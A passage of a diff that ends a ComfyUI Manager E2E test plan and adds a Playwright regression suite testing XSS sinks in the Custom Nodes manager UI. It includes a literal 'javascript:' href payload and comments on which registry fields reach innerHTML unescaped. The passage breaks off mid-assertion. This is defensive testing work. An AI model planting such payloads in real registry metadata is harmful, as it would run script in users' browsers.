||||
|---|---------|---------|------|----------|
|
||||
| 9-1 | Snapshot list | Open Snapshot Manager | Table rows shown | `GET /api/v2/snapshot/getlist` |
|
||||
| 9-2 | Snapshot save | "Save snapshot" click | "Current snapshot saved" message | `POST /api/v2/snapshot/save` |
|
||||
| 9-3 | Snapshot restore | "Restore" click | 200 or 403, RESTART button shown | `POST /api/v2/snapshot/restore?target=X` |
|
||||
| 9-4 | Snapshot remove | "Remove" click | Row removed from list | `POST /api/v2/snapshot/remove?target=X` |
|
||||
|
||||
## 10. Dialog navigation
|
||||
|
||||
**File**: `legacy-ui-navigation.spec.ts` (existing)
|
||||
|
||||
| # | Scenario | Assertion |
|
||||
|---|---------|------|
|
||||
| 10-1 | Manager → Custom Nodes → close → re-open Manager | Dialog transitions cleanly |
|
||||
| 10-2 | Manager → Model Manager → close → re-open | Dialog transitions cleanly |
|
||||
| 10-3 | API call while dialog is open | Server responds normally |
|
||||
| 10-4 | Legacy UI enabled check | `is_legacy_manager_ui: true` |
|
||||
|
||||
---
|
||||
|
||||
## File composition summary
|
||||
|
||||
| File | New/Enhanced | Scenarios | Target Endpoints |
|
||||
|------|----------|:-------:|---------------|
|
||||
| `legacy-ui-manager-menu.spec.ts` | enhanced | 7 | db_mode, channel_url_list, policy/update, notice |
|
||||
| `legacy-ui-custom-nodes.spec.ts` | enhanced | 9 | getlist, getmappings, alternatives, import_fail_info |
|
||||
| `legacy-ui-node-lifecycle.spec.ts` | **new** | 8 | versions/{id}, disabled_versions/{id}, queue/batch (install/uninstall/update/fix/disable/enable) |
|
||||
| `legacy-ui-node-versions.spec.ts` | **new** | 2 | versions/{id}, disabled_versions/{id} |
|
||||
| `legacy-ui-batch-operations.spec.ts` | **new** | 4 | queue/batch (update_all, update_comfyui), queue/reset |
|
||||
| `legacy-ui-install-methods.spec.ts` | **new** | 3 | install/git_url, install/pip |
|
||||
| `legacy-ui-model-manager.spec.ts` | enhanced | 3 | externalmodel/getlist, queue/batch (install_model) |
|
||||
| `legacy-ui-snapshot.spec.ts` | enhanced | 4 | snapshot/getlist, save, restore, remove |
|
||||
| `legacy-ui-navigation.spec.ts` | existing | 4 | is_legacy_manager_ui, version |
|
||||
|
||||
**Total: 44 scenarios**
|
||||
|
||||
## Legacy-only endpoint coverage
|
||||
|
||||
| Endpoint | Scenarios |
|
||||
|----------|---------|
|
||||
| `GET /api/v2/customnode/getlist` | 2-1, 2-6 |
|
||||
| `GET /api/v2/customnode/getmappings` | 2-2, 2-7 |
|
||||
| `GET /api/customnode/alternatives` | 2-8 |
|
||||
| `GET /api/v2/customnode/versions/{id}` | 3-1, 4-1 |
|
||||
| `GET /api/v2/customnode/disabled_versions/{id}` | 3-6, 4-2 |
|
||||
| `POST /api/v2/customnode/import_fail_info` | 7-1 |
|
||||
| `POST /api/v2/customnode/install/git_url` | 6-1 |
|
||||
| `POST /api/v2/customnode/install/pip` | 6-3 |
|
||||
| `GET /api/v2/externalmodel/getlist` | 8-1 |
|
||||
| `POST /api/v2/manager/queue/batch` | 3-2, 3-4~3-8, 5-1, 5-2, 8-3 |
|
||||
| `POST /api/v2/manager/queue/reset` | 5-3, 5-4 |
|
||||
| `GET /api/v2/manager/notice` | 1-4 |
|
||||
| `GET /api/v2/snapshot/getlist` | 9-1 |
|
||||
| `POST /api/v2/snapshot/save` | 9-2 |
|
||||
| `POST /api/v2/snapshot/restore` | 9-3 |
|
||||
| `POST /api/v2/snapshot/remove` | 9-4 |
|
||||
|
||||
## Exclusions
|
||||
|
||||
- `share_option` — per user instruction
|
||||
- **External-service auth/integration** (9 endpoints) — external services are unreachable from E2E
|
||||
- **Individual queue endpoints** (6) — unused by JS; delegated internally through `queue/batch`
|
||||
- `queue/abort_current` — unused by JS (Stop uses `queue/reset`)
|
||||
- `/manager/notice` (v1) — superseded by v2
|
||||
|
||||
## API call verification method
|
||||
|
||||
Capture the actual API call sequence via Playwright `page.route('**/*')` interception.
|
||||
Verify job progress/completion via the `cm-queue-status` WebSocket event.
|
||||
@@ -0,0 +1,796 @@
|
||||
/**
|
||||
* Browser-level XSS regression suite for the Custom Nodes manager UI.
|
||||
*
|
||||
* Every row feeds hostile node-pack metadata through a stubbed registry
|
||||
* response and asserts the value renders as INERT TEXT: the payload is visible
|
||||
* as literal characters, no element is constructed from it, and its `onerror`
|
||||
* never runs. The three checks are made together because they fail
|
||||
* differently — see `expectInert` in ./helpers.ts.
|
||||
*
|
||||
* NOT EVERY ROW CLOSES A LIVE HOLE, and the distinction matters when reading a
|
||||
* failure. `version`/`cnr_latest`, `author`, `stars` and `last_update` are
|
||||
* served unsanitized and sit in always-visible columns, so opening the manager
|
||||
* is the whole exploit; so are node names from `/v2/customnode/getmappings`,
|
||||
* a route that sanitizes nothing. Those fields are escaped ON THE CLIENT and
|
||||
* their rows target that escape.
|
||||
*
|
||||
* `title` / `name` / `description` are different: `populate_markdown` ->
|
||||
* `sanitize_tag` escapes them SERVER-SIDE, and the client renders them as-is
|
||||
* on purpose. Escaping them again is not free safety — `sanitizeHTML` also maps
|
||||
* `&`, so a second pass turns the server's `<` into `&lt;` and the pack
|
||||
* `ComfyUI-<Impact-Pack>` reaches the user as literal `ComfyUI-<Impact-Pack>`.
|
||||
* The rows targeting those fields assert the SERVER->CLIENT CHAIN, not an
|
||||
* independent client guarantee.
|
||||
*
|
||||
* CAVEAT: `page.route()` REPLACES the HTTP response, so every fixture here
|
||||
* bypasses `populate_markdown`. For the raw fields that is exactly what a live
|
||||
* server delivers. For the server-escaped fields it is NOT, so those rows pass
|
||||
* their payload through `serverSanitizeTag` first — the real transform, read
|
||||
* out of `manager_util.py` — and assert on the wire form the server would
|
||||
* actually have emitted.
|
||||
*
|
||||
* Requires ComfyUI running with --enable-manager-legacy-ui on PORT (see
|
||||
* tests/playwright/README.md).
|
||||
*/
|
||||
|
||||
import { test, expect } from '@playwright/test';
|
||||
import {
|
||||
waitForComfyUI,
|
||||
openManagerMenu,
|
||||
openCustomNodesManager,
|
||||
routeNodeList,
|
||||
routeMappings,
|
||||
routeAlternatives,
|
||||
makePack,
|
||||
expectInert,
|
||||
serverSanitizeTag,
|
||||
serverPopulateMarkdown,
|
||||
serverInstallDenialRestartClause,
|
||||
XSS_PAYLOAD,
|
||||
XSS_PAYLOAD_NOSPACE,
|
||||
} from './helpers';
|
||||
|
||||
const GRID = '.cn-manager-grid';
|
||||
const FLYOVER = '.cn-flyover';
|
||||
|
||||
/** Collect page errors so the rows that assert "did not throw" can see them. */
|
||||
function trackPageErrors(page: import('@playwright/test').Page) {
|
||||
const errors: string[] = [];
|
||||
page.on('pageerror', (e) => errors.push(String(e)));
|
||||
return errors;
|
||||
}
|
||||
|
||||
test.describe('grid render sinks', () => {
|
||||
test.beforeEach(async ({ page }) => {
|
||||
await page.goto('/');
|
||||
await waitForComfyUI(page);
|
||||
});
|
||||
|
||||
test('hostile title renders inert through the server escape', async ({ page }) => {
|
||||
// NOT defence-in-depth, and the fixture is what says so. `title` is in the
|
||||
// populate_markdown set, so the SERVER escape is the one defence and the
|
||||
// client deliberately renders the value as-is — escaping it a second time
|
||||
// printed `<` to every user (see the double-escape row below).
|
||||
//
|
||||
// The fixture is therefore the server's own sanitize_tag OUTPUT, lifted
|
||||
// from manager_util.py. A raw payload here would assert the opposite of the
|
||||
// design and fail by construction, on a wire form the live server cannot
|
||||
// emit; what this row asserts is that the form it DOES emit stays inert
|
||||
// once the client renders it.
|
||||
await routeNodeList(page, {
|
||||
hostile: makePack('hostile', { title: serverSanitizeTag(XSS_PAYLOAD) }),
|
||||
});
|
||||
await openManagerMenu(page);
|
||||
await openCustomNodesManager(page);
|
||||
|
||||
await expectInert(page, GRID, XSS_PAYLOAD, 'img', 'title');
|
||||
});
|
||||
|
||||
// This row needs a WIDER VIEWPORT THAN THE REST, so it gets its own describe.
|
||||
//
|
||||
// turbogrid virtualises columns horizontally: at the config's default
|
||||
// viewport the `.cn-pack-stars` and `.cn-pack-last-update` BODY CELLS are
|
||||
// not in the DOM at all — a dump returned `stars: []`, `lastUpdate: []`
|
||||
// with `rowCount: 4`, while the HEADER showed both columns. The row's
|
||||
// `last_update` leg then failed leg 1 (presence) with legs 2 and 3 passing,
|
||||
// which is expectInert's own signature for "the payload never rendered",
|
||||
// i.e. the row was reporting the viewport, not the sink. Measured: at
|
||||
// 2600x1000 both cells render and both are inert. Pin the viewport so this
|
||||
// row asserts on the sink it names.
|
||||
test.describe('wide viewport — stars/last_update are column-virtualised', () => {
|
||||
test.use({ viewport: { width: 2600, height: 1000 } });
|
||||
|
||||
test('hostile version/author/stars/last_update render inert (LIVE no-user-action)', async ({ page }) => {
|
||||
// The four fields that carry the no-user-action property: served
|
||||
// unsanitized AND in always-visible columns, so opening the manager is
|
||||
// the whole exploit.
|
||||
await routeNodeList(page, {
|
||||
p1: makePack('p1', { version: XSS_PAYLOAD, cnr_latest: XSS_PAYLOAD }),
|
||||
p2: makePack('p2', { author: XSS_PAYLOAD }),
|
||||
// `stars` must be a NON-number to reach the raw fall-through
|
||||
// (`if (typeof stars === 'number') return stars.toLocaleString()`).
|
||||
p3: makePack('p3', { stars: XSS_PAYLOAD }),
|
||||
// `last_update` is cut at the first space, so the payload must be
|
||||
// space-free or the row would pass for the wrong reason.
|
||||
p4: makePack('p4', { last_update: XSS_PAYLOAD_NOSPACE }),
|
||||
});
|
||||
await openManagerMenu(page);
|
||||
await openCustomNodesManager(page);
|
||||
|
||||
// PRECONDITION — the two virtualised columns must actually have body
|
||||
// cells before their legs mean anything. Without this the row can go
|
||||
// pass again the moment a layout change hides them, on a fixture that
|
||||
// proved nothing (the same vacuous-pass shape the tags row guards against).
|
||||
await expect(
|
||||
page.locator(`${GRID} .cn-pack-stars`).first(),
|
||||
'precondition: no .cn-pack-stars body cell rendered — the stars column is virtualised away at this viewport, so its leg would pass vacuously.',
|
||||
).toBeVisible({ timeout: 15_000 });
|
||||
await expect(
|
||||
page.locator(`${GRID} .cn-pack-last-update`).first(),
|
||||
'precondition: no .cn-pack-last-update body cell rendered — the last_update column is virtualised away at this viewport, so its leg would pass vacuously.',
|
||||
).toBeVisible({ timeout: 15_000 });
|
||||
|
||||
await expectInert(page, GRID, XSS_PAYLOAD, 'img', 'version/cnr_latest');
|
||||
await expectInert(page, GRID, XSS_PAYLOAD, 'img', 'author');
|
||||
await expectInert(page, GRID, XSS_PAYLOAD_NOSPACE, 'img', 'last_update');
|
||||
});
|
||||
});
|
||||
|
||||
test('hostile tags render inert once the alternatives column is shown (LIVE, gated)', async ({ page }) => {
|
||||
// The alternatives column is `invisible: !this.hasAlternatives()`, so this
|
||||
// row MUST establish the gate. Without the precondition assertion below it
|
||||
// passes vacuously against a grid that never rendered the column at all.
|
||||
await routeNodeList(page, { alt1: makePack('alt1') });
|
||||
await routeAlternatives(page, {
|
||||
alt1: {
|
||||
id: 'alt1',
|
||||
title: 'alt1',
|
||||
description: 'alternative description',
|
||||
tags: XSS_PAYLOAD,
|
||||
},
|
||||
});
|
||||
await openManagerMenu(page);
|
||||
await openCustomNodesManager(page);
|
||||
|
||||
// ESTABLISH THE GATE. `hasAlternatives()` is `this.filter ===
|
||||
// ShowMode.ALTERNATIVES`, so the column exists ONLY while the filter
|
||||
// dropdown is on "Alternatives of A1111" — selecting it is also what
|
||||
// triggers getAlternatives() and therefore the `:1903` tag loop. Without
|
||||
// this step the fixture is never fetched, nothing renders, and the row
|
||||
// would report a failure that has nothing to do with the sink.
|
||||
const filterSelect = page.locator('select.cn-manager-filter').first();
|
||||
await expect(filterSelect).toBeVisible({ timeout: 10_000 });
|
||||
await filterSelect.selectOption({ label: 'Alternatives of A1111' });
|
||||
|
||||
// PRECONDITION — assert on `.cn-tag-list` SPECIFICALLY, the div the tag
|
||||
// loop emits. An earlier draft accepted `.cn-pack-desc` too, which the
|
||||
// description column also carries: it matched, the row failed on a
|
||||
// different leg, and it looked like a reproduction. That is the vacuous
|
||||
// vacuous pass this row has to guard against, arriving as a vacuous
|
||||
// FAILURE instead.
|
||||
await expect(
|
||||
page.locator(`${GRID} .cn-tag-list`).first(),
|
||||
'precondition: no .cn-tag-list rendered, so the alternatives tag sink was never exercised — the row proves nothing about the sink.',
|
||||
).toBeVisible({ timeout: 15_000 });
|
||||
|
||||
await expectInert(page, GRID, XSS_PAYLOAD, 'img', 'tags');
|
||||
});
|
||||
|
||||
test('a server-escaped title renders decoded (no double-escape)', async ({ page }) => {
|
||||
// THE REGRESSION GUARD FOR THE DOUBLE-ESCAPE FIX, and it only guards
|
||||
// anything because the fixture is the WIRE form.
|
||||
//
|
||||
// The earlier shape of this row fed the RAW authored title straight to the
|
||||
// grid. That is input the live server cannot deliver — getlist runs every
|
||||
// pack through populate_markdown -> sanitize_tag first — and the row passed
|
||||
// either way: escaped once, `<3` comes back as `<3`; not escaped at
|
||||
// all, `<3` is not a tag start so it renders as text too. It asserted
|
||||
// nothing about the chain it was named for.
|
||||
//
|
||||
// Now the fixture is the OUTPUT of the server's own sanitize_tag, read out
|
||||
// of manager_util.py at run time (serverSanitizeTag) rather than re-typed,
|
||||
// so what enters the client is exactly what the server would have emitted:
|
||||
// wire form in, authored text out. A client that escapes the field a second
|
||||
// time prints the entity and BOTH legs below flip.
|
||||
//
|
||||
// page.route still carries it: the escaped fields originate in third-party
|
||||
// registry data (no live pack title contains an angle bracket), so this is
|
||||
// the only deterministic way to place a known value in the grid. What
|
||||
// page.route replaces is the TRANSPORT — the transform is the real one.
|
||||
const AUTHORED = 'Tom & Jerry <3';
|
||||
const ON_THE_WIRE = serverSanitizeTag(AUTHORED);
|
||||
expect(
|
||||
ON_THE_WIRE,
|
||||
'serverSanitizeTag returned its input unchanged, so the fixture is NOT the ' +
|
||||
'wire form and this row is back to proving nothing. Check that sanitize_tag ' +
|
||||
'in comfyui_manager/common/manager_util.py still escapes < and >.',
|
||||
).not.toBe(AUTHORED);
|
||||
|
||||
await routeNodeList(page, { legit: makePack('legit', { title: ON_THE_WIRE }) });
|
||||
await openManagerMenu(page);
|
||||
await openCustomNodesManager(page);
|
||||
|
||||
const text = (await page.locator(GRID).first().textContent()) ?? '';
|
||||
const diagnostic =
|
||||
`authored: ${JSON.stringify(AUTHORED)}\n` +
|
||||
`on the wire (server sanitize_tag output): ${JSON.stringify(ON_THE_WIRE)}\n` +
|
||||
`grid text (first 300 chars): ${JSON.stringify(text.slice(0, 300))}`;
|
||||
|
||||
expect(
|
||||
text,
|
||||
`the server-escaped title did not render as the author wrote it. The client ` +
|
||||
`escaped an ALREADY-escaped value, so sanitizeHTML mapped the server's & to ` +
|
||||
`& and the entity reached the user as literal text.\n${diagnostic}`,
|
||||
).toContain(AUTHORED);
|
||||
expect(
|
||||
text,
|
||||
`the wire form is visible in the grid as literal text — that IS the ` +
|
||||
`double-escape. A field in the populate_markdown set (title/name/description) ` +
|
||||
`must reach innerHTML AS-IS.\n${diagnostic}`,
|
||||
).not.toContain(ON_THE_WIRE);
|
||||
});
|
||||
|
||||
test('missing title/version/author renders without throwing', async ({ page }) => {
|
||||
// Expected to PASS — `sanitizeHTML(undefined)` raises TypeError inside a
|
||||
// render path, so the escape MUST be sanitizeHTML(String(v)).
|
||||
// This row is what turns that mistake into a visible failure.
|
||||
const errors = trackPageErrors(page);
|
||||
const bare = makePack('bare');
|
||||
delete (bare as Record<string, unknown>).title;
|
||||
delete (bare as Record<string, unknown>).version;
|
||||
delete (bare as Record<string, unknown>).author;
|
||||
await routeNodeList(page, { bare });
|
||||
await openManagerMenu(page);
|
||||
await openCustomNodesManager(page);
|
||||
|
||||
await expect(page.locator(GRID).first()).toBeVisible();
|
||||
expect(
|
||||
errors,
|
||||
`the grid threw while rendering a row with absent title/version/author — sanitizeHTML(undefined) raises TypeError, so the escape must pass String(v). pageerrors: ${errors.join(' | ')}`,
|
||||
).toEqual([]);
|
||||
});
|
||||
|
||||
test('composed-HTML description keeps rendering as markup (anti-regression)', async ({ page }) => {
|
||||
// MANDATORY anti-regression. `description` is SERVER-COMPOSED HTML; the
|
||||
// cheapest way to pass every other row here is to blind-escape the grid,
|
||||
// which would print literal <a href=...> / <B> to every user. This row
|
||||
// guards the ESCAPING, not the defect — it is expected to pass both before
|
||||
// and after, and must never be forced to fail.
|
||||
const composed = serverPopulateMarkdown({ description: 'See [a/the docs](https://example.com/x) for **details**' }).description;
|
||||
await routeNodeList(page, { doc: makePack('doc', { description: composed }) });
|
||||
await openManagerMenu(page);
|
||||
await openCustomNodesManager(page);
|
||||
|
||||
const anchors = await page.locator(`${GRID} a[href="https://example.com/x"]`).count();
|
||||
expect(
|
||||
anchors,
|
||||
'the composed-HTML description no longer renders as markup — a working <a href> is gone, so the description column was blind-escaped. That is a regression, not a fix.',
|
||||
).toBeGreaterThan(0);
|
||||
|
||||
const bold = await page.locator(`${GRID} b, ${GRID} B`).count();
|
||||
expect(
|
||||
bold,
|
||||
'the composed-HTML description lost its <B> markup — the column was escaped wholesale.',
|
||||
).toBeGreaterThan(0);
|
||||
});
|
||||
});
|
||||
|
||||
test.describe('URL / scheme sink', () => {
|
||||
test.beforeEach(async ({ page }) => {
|
||||
await page.goto('/');
|
||||
await waitForComfyUI(page);
|
||||
});
|
||||
|
||||
test('the title link href carries no javascript: scheme (LIVE, click-gated)', async ({ page }) => {
|
||||
// `link.href = <registry URL>` with no scheme allow-list. This is the
|
||||
// client-side twin of the server composer's scheme-trust hole.
|
||||
//
|
||||
// Asserted on the href PROPERTY, not on rendered text: the
|
||||
// rendered label is the pack title and would look perfectly innocent while
|
||||
// the anchor still carries a javascript: target.
|
||||
await routeNodeList(page, {
|
||||
evil: makePack('evil', {
|
||||
repository: 'javascript:window.__xss_fired=1',
|
||||
reference: 'javascript:window.__xss_fired=1',
|
||||
}),
|
||||
});
|
||||
await openManagerMenu(page);
|
||||
await openCustomNodesManager(page);
|
||||
|
||||
const hrefs = await page.locator(`${GRID} a`).evaluateAll(
|
||||
(els) => els.map((e) => (e as HTMLAnchorElement).href),
|
||||
);
|
||||
|
||||
// PRECONDITION — the row asserts that no anchor carries a bad scheme, and
|
||||
// a grid with NO anchors satisfies that having tested nothing. Pin that at
|
||||
// least one anchor rendered before reading anything into the result below.
|
||||
expect(
|
||||
hrefs.length,
|
||||
`precondition: the grid rendered no anchors at all, so the href assertion below would pass over an empty list and prove nothing about the URL sink. Observed ${hrefs.length} anchors.`,
|
||||
).toBeGreaterThan(0);
|
||||
|
||||
// ASSERTED AGAINST THE ALLOW-LIST, not against a list of dangerous schemes.
|
||||
const allowed = ['http:', 'https:'];
|
||||
const offending = hrefs.filter((h) => {
|
||||
const scheme = new URL(h).protocol;
|
||||
return scheme !== null && !allowed.includes(scheme);
|
||||
});
|
||||
expect(
|
||||
offending,
|
||||
`the title link's href PROPERTY carries a scheme outside the allow-list — a ` +
|
||||
`registry-controlled URL reached href unfiltered, so one click executes it. ` +
|
||||
`sanitizeUrl admits ${JSON.stringify(allowed)}; observed anchors: ` +
|
||||
`${JSON.stringify(hrefs.slice(0, 10))}`,
|
||||
).toEqual([]);
|
||||
});
|
||||
});
|
||||
|
||||
test.describe('flyover sinks', () => {
|
||||
test.beforeEach(async ({ page }) => {
|
||||
await page.goto('/');
|
||||
await waitForComfyUI(page);
|
||||
});
|
||||
|
||||
/** Open the node flyover by clicking the Nodes cell of the first row.
|
||||
*
|
||||
* Targets `.cn-pack-nodes` specifically — that div is emitted ONLY by the
|
||||
* `nodes` column formatter, and only when `rowItem.nodes` is truthy. The
|
||||
* grid's onClick handler routes to `showNodes` on `columnItem.id ===
|
||||
* "nodes"`, so any looser selector (e.g. "a cell containing a digit") lands
|
||||
* on the ID column, silently never opens the flyover, and turns the row
|
||||
* into a timeout that LOOKS like a failed assertion. Waiting for this
|
||||
* element first therefore doubles as a precondition that the getmappings
|
||||
* fixture actually produced a node count. */
|
||||
async function openFlyover(page: import('@playwright/test').Page) {
|
||||
const nodesCell = page.locator(`${GRID} .cn-pack-nodes`).first();
|
||||
await expect(
|
||||
nodesCell,
|
||||
'flyover precondition: no .cn-pack-nodes cell rendered, so the getmappings fixture did not attach a node count to the pack — the flyover cannot open and the row would time out for a fixture reason, not a defect.',
|
||||
).toBeVisible({ timeout: 15_000 });
|
||||
await nodesCell.click();
|
||||
await page.waitForSelector(FLYOVER, { state: 'visible', timeout: 10_000 });
|
||||
}
|
||||
|
||||
test('flyover pack title renders inert through the server escape', async ({ page }) => {
|
||||
// Same contract as the grid title row: `title` is server-escaped, the
|
||||
// client renders it as-is, so the fixture must be the WIRE form.
|
||||
await routeNodeList(page, { h: makePack('h', { title: serverSanitizeTag(XSS_PAYLOAD) }) });
|
||||
await routeMappings(page, {
|
||||
'https://github.com/example/h': [['NodeA'], { title_aux: 'h' }],
|
||||
});
|
||||
await openManagerMenu(page);
|
||||
await openCustomNodesManager(page);
|
||||
await openFlyover(page);
|
||||
|
||||
await expectInert(page, FLYOVER, XSS_PAYLOAD, 'img', 'flyover title');
|
||||
});
|
||||
|
||||
test('flyover node NAME renders inert (LIVE, click-gated)', async ({ page }) => {
|
||||
// `/v2/customnode/getmappings` performs NO sanitization —
|
||||
// `populate_markdown` is never called on that route — so
|
||||
// this node name is genuinely RAW, not defence-in-depth.
|
||||
await routeNodeList(page, { h: makePack('h') });
|
||||
await routeMappings(page, {
|
||||
'https://github.com/example/h': [[XSS_PAYLOAD], { title_aux: 'h' }],
|
||||
});
|
||||
await openManagerMenu(page);
|
||||
await openCustomNodesManager(page);
|
||||
await openFlyover(page);
|
||||
|
||||
await expectInert(page, FLYOVER, XSS_PAYLOAD, 'img', 'flyover node name');
|
||||
});
|
||||
});
|
||||
|
||||
// ===========================================================================
|
||||
// selection bar
|
||||
// ===========================================================================
|
||||
|
||||
test.describe('selection bar', () => {
|
||||
test.beforeEach(async ({ page }) => {
|
||||
await page.goto('/');
|
||||
await waitForComfyUI(page);
|
||||
});
|
||||
|
||||
for (const state of ['not-a-known-install-group', 'constructor', '__proto__']) {
|
||||
test(`an unrecognised pack state still renders the selection bar: ${state}`, async ({ page }) => {
|
||||
const errors = trackPageErrors(page);
|
||||
await routeNodeList(page, { odd: makePack('odd', { state }) });
|
||||
await openManagerMenu(page);
|
||||
await openCustomNodesManager(page);
|
||||
|
||||
const checkbox = page.locator(`${GRID} .tg-body .tg-row .tg-checkbox`).first();
|
||||
await expect(checkbox).toBeVisible({ timeout: 15_000 });
|
||||
await checkbox.click();
|
||||
|
||||
const bar = page.locator('.cn-manager-selection').first();
|
||||
await expect(bar).toContainText('Selected');
|
||||
await expect(bar).toContainText(state);
|
||||
await expect(bar.locator('button')).toHaveCount(0);
|
||||
expect(errors).toEqual([]);
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
// ===========================================================================
|
||||
// Install status uses the same server-composed names as the grid.
|
||||
// ===========================================================================
|
||||
|
||||
test.describe('install status sink', () => {
|
||||
for (const [source, visible] of [
|
||||
[XSS_PAYLOAD, XSS_PAYLOAD],
|
||||
['Pack & Friends <Flux>', 'Pack & Friends <Flux>'],
|
||||
['Pack &lt;Flux&gt;', 'Pack <Flux>'],
|
||||
]) {
|
||||
test(`server title remains readable and inert: ${source}`, async ({ page }) => {
|
||||
await page.goto('/');
|
||||
await waitForComfyUI(page);
|
||||
await routeNodeList(page, { victim: makePack('victim', {
|
||||
title: serverSanitizeTag(source), version: 'unknown',
|
||||
}) });
|
||||
await page.route('**/v2/manager/queue/batch', route => route.fulfill({
|
||||
status: 200, contentType: 'application/json', body: '{"failed": []}',
|
||||
}));
|
||||
await openManagerMenu(page);
|
||||
await openCustomNodesManager(page);
|
||||
await page.locator(`${GRID} .cn-btn-install`).first().click();
|
||||
await expectInert(page, '.cn-manager-status', visible, 'img', 'install title');
|
||||
const status = page.locator('.cn-manager-status');
|
||||
await expect(status).toContainText(visible);
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
// ===========================================================================
|
||||
// batch error dialog
|
||||
// ===========================================================================
|
||||
|
||||
test.describe('batch error dialog', () => {
|
||||
test.beforeEach(async ({ page }) => {
|
||||
await page.goto('/');
|
||||
await waitForComfyUI(page);
|
||||
});
|
||||
|
||||
test('server-authored batch failure text renders inert (LIVE)', async ({ page }) => {
|
||||
// REAL CONSUMPTION PATH, not a synthetic fixture. The chain exercised here
|
||||
// is the production one end to end on the client side:
|
||||
// real Install click -> real POST /v2/manager/queue/batch
|
||||
// -> real `cm-queue-status` batch-done event on ComfyUI's api
|
||||
// -> real onQueueStatus -> onQueueCompleted -> errorMsg += v (:1604)
|
||||
// -> real showError (:1613) -> showMessage -> .cn-manager-message
|
||||
// .innerHTML (:2091)
|
||||
// Only the SERVER's two responses are stubbed, which is exactly what
|
||||
// Tier A is for — the attacker-controlled value enters at `result[hash]`,
|
||||
// the same slot a real queue result fills.
|
||||
let capturedBatchId = '';
|
||||
await page.route('**/v2/manager/queue/batch', async (route) => {
|
||||
capturedBatchId = route.request().postDataJSON()?.batch_id ?? '';
|
||||
await route.fulfill({ status: 200, contentType: 'application/json', body: '{"failed": []}' });
|
||||
});
|
||||
// `version: 'unknown'` is load-bearing, not filler. The grid click handler
|
||||
// routes install through a VERSION SELECTOR dialog when
|
||||
// `item.originalData.version != 'unknown'` (:555), and the batch POST only
|
||||
// happens after a version is chosen. The unknown-version shape takes the
|
||||
// direct `installNodes` path (:559), which is the same branch the Python
|
||||
// e2e rows drive, and keeps this test on the error-render path it is about
|
||||
// instead of on version-picker UI.
|
||||
await routeNodeList(page, {
|
||||
victim: makePack('victim', { state: 'not-installed', version: 'unknown' }),
|
||||
});
|
||||
|
||||
await openManagerMenu(page);
|
||||
await openCustomNodesManager(page);
|
||||
|
||||
const installBtn = page.locator(`${GRID} .cn-btn-install`).first();
|
||||
await expect(
|
||||
installBtn,
|
||||
'precondition: no .cn-btn-install rendered, so the batch flow was never entered and install_context/batch_id were never set — the queue event would be dropped by onQueueCompleted and the row would prove nothing.',
|
||||
).toBeVisible({ timeout: 15_000 });
|
||||
await installBtn.click();
|
||||
|
||||
// CAPTURE THE SINK'S WRITES, because the settled element cannot be read.
|
||||
//
|
||||
// onQueueCompleted writes the error into .cn-manager-message via
|
||||
// showError (:1613) and then OVERWRITES the same element with the restart
|
||||
// notice via showMessage (:1620) — inside ONE synchronous handler. So by
|
||||
// the time any assertion runs, the element holds "To apply the
|
||||
// installed/updated... restart ComfyUI", and the value under test is
|
||||
// gone. A MutationObserver does not help: its callback is a microtask and
|
||||
// both writes land before it runs (measured — it reports only the final
|
||||
// state). Wrapping the innerHTML SETTER records each write at the moment
|
||||
// it happens, which is the only way to assert on what the sink actually
|
||||
// received. Installed here rather than via addInitScript because the
|
||||
// writes under test all happen after this point.
|
||||
await page.evaluate(() => {
|
||||
const w = window as unknown as Record<string, any>;
|
||||
w.__cnMessageWrites = [];
|
||||
const desc = Object.getOwnPropertyDescriptor(Element.prototype, 'innerHTML')!;
|
||||
Object.defineProperty(Element.prototype, 'innerHTML', {
|
||||
configurable: true,
|
||||
get() {
|
||||
return desc.get!.call(this);
|
||||
},
|
||||
set(value) {
|
||||
try {
|
||||
if ((this as Element).classList?.contains('cn-manager-message')) {
|
||||
w.__cnMessageWrites.push(String(value));
|
||||
}
|
||||
} catch {
|
||||
/* never let the probe break the page under test */
|
||||
}
|
||||
desc.set!.call(this, value);
|
||||
},
|
||||
});
|
||||
});
|
||||
|
||||
await expect
|
||||
.poll(() => capturedBatchId, {
|
||||
timeout: 15_000,
|
||||
message: 'precondition: the client never POSTed /v2/manager/queue/batch, so no batch_id exists to address the completion event to.',
|
||||
})
|
||||
.not.toBe('');
|
||||
|
||||
// Deliver the completion event exactly as the server does over the socket.
|
||||
await page.evaluate(
|
||||
({ batchId, payload }) => {
|
||||
const api = (window as unknown as Record<string, any>).comfyAPI.api.api;
|
||||
api.dispatchEvent(
|
||||
new CustomEvent('cm-queue-status', {
|
||||
detail: { status: 'batch-done', batch_id: batchId, nodepack_result: [payload] },
|
||||
}),
|
||||
);
|
||||
},
|
||||
{ batchId: capturedBatchId, payload: XSS_PAYLOAD },
|
||||
);
|
||||
|
||||
// The write carrying the payload must arrive, and arrive inert. The three
|
||||
// legs are the same ones expectInert applies, evaluated against the value
|
||||
// the sink RECEIVED rather than against the element's settled content:
|
||||
// leg 1 presence — the payload is there as literal text;
|
||||
// leg 2 structure — parsing that write constructs no <img>;
|
||||
// leg 3 execution — window.__xss_fired never set (document-wide).
|
||||
const sink = await page.evaluate((payload) => {
|
||||
const w = window as unknown as Record<string, any>;
|
||||
const writes: string[] = w.__cnMessageWrites ?? [];
|
||||
// Parse each write the way the browser did, in a detached element.
|
||||
const probe = document.createElement('div');
|
||||
const parsed = writes.map((html) => {
|
||||
probe.innerHTML = html;
|
||||
return { html, text: probe.textContent ?? '', imgs: probe.querySelectorAll('img').length };
|
||||
});
|
||||
return {
|
||||
writes,
|
||||
carrying: parsed.filter((p) => p.text.includes(payload)),
|
||||
imgsAnywhere: parsed.reduce((n, p) => n + p.imgs, 0),
|
||||
firedGlobal: w.__xss_fired,
|
||||
liveImgs: document.querySelectorAll('img[src="x"]').length,
|
||||
};
|
||||
}, XSS_PAYLOAD);
|
||||
|
||||
const diagnostic =
|
||||
`queue failure text — writes observed at .cn-manager-message: ${JSON.stringify(sink.writes)}`;
|
||||
|
||||
expect(
|
||||
sink.carrying.length,
|
||||
`precondition: no write to .cn-manager-message carried the payload at all, so the sink was never exercised and the row proves nothing — check that onQueueCompleted reached showError. ${diagnostic}`,
|
||||
).toBeGreaterThan(0);
|
||||
expect(
|
||||
sink.imgsAnywhere,
|
||||
`a write to .cn-manager-message parsed into a live <img> — the server-authored queue text reached innerHTML AS MARKUP. ${diagnostic}`,
|
||||
